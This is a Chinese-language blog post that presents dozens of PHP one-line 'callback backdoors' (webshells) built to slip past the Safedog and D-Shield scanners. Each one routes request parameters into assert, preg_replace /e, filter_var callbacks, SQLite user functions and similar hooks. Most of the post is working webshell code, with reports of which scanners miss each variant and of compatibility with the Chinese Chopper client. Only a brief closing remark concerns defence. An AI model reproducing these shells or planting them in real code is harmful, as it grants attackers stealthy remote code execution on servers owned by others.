最近很多人分享一些過狗過盾的一句話,但無非是用各種方法去構造一些動態函數,比如$_GET['func']($_REQUEST['pass'])之類的方法。萬變不離其宗,但這種方法,雖然狗盾可能看不出來,但人肉眼其實很容易發現這類後門的。
那麼,我就分享一下,一些不需要動態函數、不用eval、不含敏感函數、免殺免攔截的一句話。
0x00 前言
有很多朋友喜歡收藏一些tips,包括我也收藏了好多tips,有時候在滲透和漏洞挖掘過程中很有用處。
一句話的tips相信很多朋友也收集過好多,過狗一句話之類的。14年11月好像在微博上也火過一個一句話,當時也記印象筆記裡了:
有同學收集tips,就有同學創造tips。那麼我們怎麼來創造一些過狗、過D盾、無動態函數、無危險函數(無特徵)的一句話(後門)?
根據上面這個pdo的一句話,我就可以得到一個很具有普適性的結論:php中包含回呼函數參數的函數,具有做後門的潛質。
我就自己給這類webshell起了個名字:回調後門。
0x01 回調後門的老祖宗
php中call_user_func是執行回呼函數的標準方法,這也是一個比較老的後門了:
call_user_func('assert', $_REQUEST['pass']);
assert直接作為回呼函數,然後$_REQUEST['pass']作為assert的參數調用。
這個後門,狗和盾都可以查到(但是狗不會攔截):
可php的函數庫是很豐富的,只要簡單改下函數安全狗就不殺了:
call_user_func_array('assert', array($_REQUEST['pass']));
call_user_func_array函數,和call_user_func類似,只是第二個參數可以傳入參數列表組成的數組。如圖:
可見,雖然狗不殺了,D盾還是聰明地識別了出來。
看來,這種傳統的回調後門,已經被一些安全廠商盯上了,存在被查殺的風險。
0x02 數組操作造成的單參數回調後門
進一步思考,在平時的php開發中,遇到過的帶有回調參數的函數絕不止上面說的兩個。這些含有回調(callable類型)參數的函數,其實都有做“回調後門”的潛力。
我最早想到個最“簡單好用的”:
$e = $_REQUEST['e'];$arr = array($_POST['pass'],);array_filter($arr, base64_decode($e));
array_filter函數是將數組中所有元素遍曆並用指定函數處理過濾用的,如此調用(此後的測試環境都是開著狗的,可見都可以執行):
這個後門,狗查不出來,但D盾還是有感應,報了個等級3(顯然比之前的等級4要低了):
類似array_filter,array_map也有同樣功效:
$e = $_REQUEST['e'];$arr = array($_POST['pass'],);array_map(base64_decode($e), $arr);
依舊被D盾查殺。
果然,簡單的數組回調後門,還是很容易被發現與查殺的。
0x03 php5.4.8+中的assert
php 5.4.8+後的版本,assert函數由一個參數,增加了一個選擇性參數descrition:
這就增加(改變)了一個很好的“執行代碼”的方法assert,這個函數可以有一個參數,也可以有兩個參數。那麼以前回調後門中有兩個參數的回呼函數,現在就可以使用了。
比如如下回調後門:
$e = $_REQUEST['e'];$arr = array('test', $_REQUEST['pass']);uasort($arr, base64_decode($e));
這個後門在php5.3時會報錯,提示assert只能有一個參數:
php版本改作5.4後就可以執行了:
這個後門,狗和盾是都查不出來的:
同樣的道理,這個也是功能類似:
$e = $_REQUEST['e'];$arr = array('test' => 1, $_REQUEST['pass'] => 2);uksort($arr, $e);
再給出這兩個函數,物件導向的方法:
// way 0$arr = new ArrayObject(array('test', $_REQUEST['pass']));$arr->uasort('assert');// way 1$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));$arr->uksort('assert');
再來兩個類似的回調後門:
$e = $_REQUEST['e'];$arr = array(1);array_reduce($arr, $e, $_POST['pass']);
$e = $_REQUEST['e'];$arr = array($_POST['pass']);$arr2 = array(1);array_udiff($arr, $arr2, $e);
以上幾個都是可以直接菜刀串連的一句話,但目標PHP版本在5.4.8及以上才可用。
我把上面幾個類型歸為:二參數回呼函數(也就是回呼函數的格式是需要兩個參數的)
0x04 三參數回呼函數
有些函數需要的回呼函數類型比較苛刻,回調格式需要三個參數。比如array_walk。
array_walk的第二個參數是callable類型,正常情況下它是格式是兩個參數的,但在0x03中說了,兩個參數的回調後門需要使用php5.4.8後的assert,在5.3就不好用了。但這個回調其實也可以接受三個參數,那就好辦了:
php中,可以執行代碼的函數:
一個參數:assert
兩個參數:assert (php5.4.8+)
三個參數:preg_replace /e模式
三個參數可以用preg_replace。所以我這裡構造了一個array_walk + preg_replace的回調後門:
$e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e',);array_walk($arr, $e, '');
如圖,這個後門可以在5.3下使用:
但強大的D盾還是有警覺(雖然只是等級2):
不過呵呵,PHP擁有那麼多靈活的函數,稍微改個函數(array_walk_recursive)D盾就查不出來了:
$e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e',);array_walk_recursive($arr, $e, '');
不截圖了。
看了以上幾個回調後門,發現preg_replace確實好用。但顯然很多WAF和頓頓狗狗的早就盯上這個函數了。其實php裡不止這個函數可以執行eval的功能,還有幾個類似的:
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
另一個:
echo preg_filter('|.*|e', $_REQUEST['pass'], '');
這兩個一句話都是不殺的:
好用的一句話,且用且珍惜呀。
0x05 無回顯回調後門
回調後門裡,有個特殊的例子:ob_start。
ob_start可以傳入一個參數,也就是當緩衝流輸出時調用的函數。但由於某些特殊原因(可能與輸出資料流有關),即使有執行結果也不在流裡,最後也輸出不了,所以這樣的一句話沒法用菜刀串連:
ob_start('assert');echo $_REQUEST['pass'];ob_end_flush();
但如果執行一個url請求,用神器cloudeye還是能夠觀測到結果的:
即使沒輸出,實際代碼是執行了的。也算作回調後門的一種。
0x06 單參數後門終極奧義
preg_replace、三參數後門雖然好用,但/e模式php5.5以後就廢棄了,不知道哪天就會給刪了。所以我覺得還是單參數後門,在各個版本都比較好駕馭。
這裡給出幾個好用不殺的回調後門
$e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST['pass']);
這個是php全版本支援的,且不報不殺穩定執行:
再來一個:
$e = $_REQUEST['e'];declare(ticks=1);register_tick_function ($e, $_REQUEST['pass']);
再來兩個:
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
這兩個是filter_var的利用,php裡用這個函數來過濾數組,只要指定過濾方法為回調(FILTER_CALLBACK),且option為assert即可。
這幾個單參數回調後門非常隱蔽,基本沒特徵,用起來很6.
0x07 資料庫操作與第三方庫中的回調後門
回到最早微博上發出來的那個sqlite回調後門,其實sqlite可以構造的回調後門不止上述一個。
我們可以註冊一個sqlite函數,使之與assert功能相同。當執行這個sql語句的時候,就等於執行了assert。所以這個後門我這樣構造:
$e = $_REQUEST['e'];$db = new PDO('sqlite:sqlite.db3');$db->sqliteCreateFunction('myfunc', $e, 1);$sth = $db->prepare("SELECT myfunc(:exec)");$sth->execute(array(':exec' => $_REQUEST['pass']));
執行之:
上面的sqlite方法是依靠PDO執行的,我們也可以直接調用sqlite3的方法構造回調後門:
$e = $_REQUEST['e'];$db = new SQLite3('sqlite.db3');$db->createFunction('myfunc', $e);$stmt = $db->prepare("SELECT myfunc(?)");$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);$stmt->execute();
前提是php5.3以上。如果是php5.3以下的,使用sqlite_*函數,自己研究我不列出了。
這兩個回調後門,都是依靠php擴充庫(pdo和sqlite3)來實現的。其實如果目標環境中有特定擴充庫的情況下,也可以來構造回調後門。
比如php_yaml:
$str = urlencode($_REQUEST['pass']);$yaml = <<<EODgreeting: !{$str} "|.+|e"EOD;$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));
還有php_memcached:
$mem = new Memcache();$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));$mem->connect($_REQUEST['pass'], 11211, 0);
自行研究吧。
0x08 其他參數型回調後門
上面說了,回呼函數格式為1、2、3參數的時候,可以利用assert、assert、preg_replace來執行代碼。但如果回呼函數的格式是其他參數數目,或者參數類型不是簡單字串,怎麼辦?
舉個例子,php5.5以後建議用preg_replace_callback代替preg_replace的/e模式來處理正則執行替換,那麼其實preg_replace_callback也是可以構造回調後門的。
preg_replace_callback的第二個參數是回呼函數,但這個回呼函數被傳入的參數是一個數組,如果直接將這個指定為assert,就會執行不了,因為assert接受的參數是字串。
所以我們需要去“構造”一個滿足條件的回呼函數。
怎麼構造?使用create_function:
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
“創造”一個函數,它接受一個數組,並將數組的第一個元素$arr[0]傳入assert。
這也是一個不殺不報穩定執行的回調後門,但因為有create_function這個敏感函數,所以看起來總是不太爽。不過也是沒辦法的事。
類似的,這個也同樣:
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
再來一個利用CallbackFilterIterator方法的回調後門:
$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));foreach ($iterator as $item) { echo $item;}
這裡也是借用了create_function來建立回呼函數。但有些同學就問了,這裡建立的回呼函數只有一個參數呀?實際上這裡如果傳入assert,是會報錯的,具體原因自己分析。
0x09 後記
這一篇文章,就像一枚核武器,爆出了太多無特徵的一句話後門。我知道相關廠商在看了文章以後,會有一些小動作。不過我既然敢寫出來,那麼我就敢保證這些方法是多麼難以防禦。
實際上,回調後門是靈活且無窮無盡的後門,只要php還在發展,那麼就有很多很多擁有回呼函數的後門被創造。想要防禦這樣的後門,光光去指哪防哪肯定是不夠的。
簡單想一下,只有我們去控制住assert、preg_replace這類函數,才有可能防住這種漏洞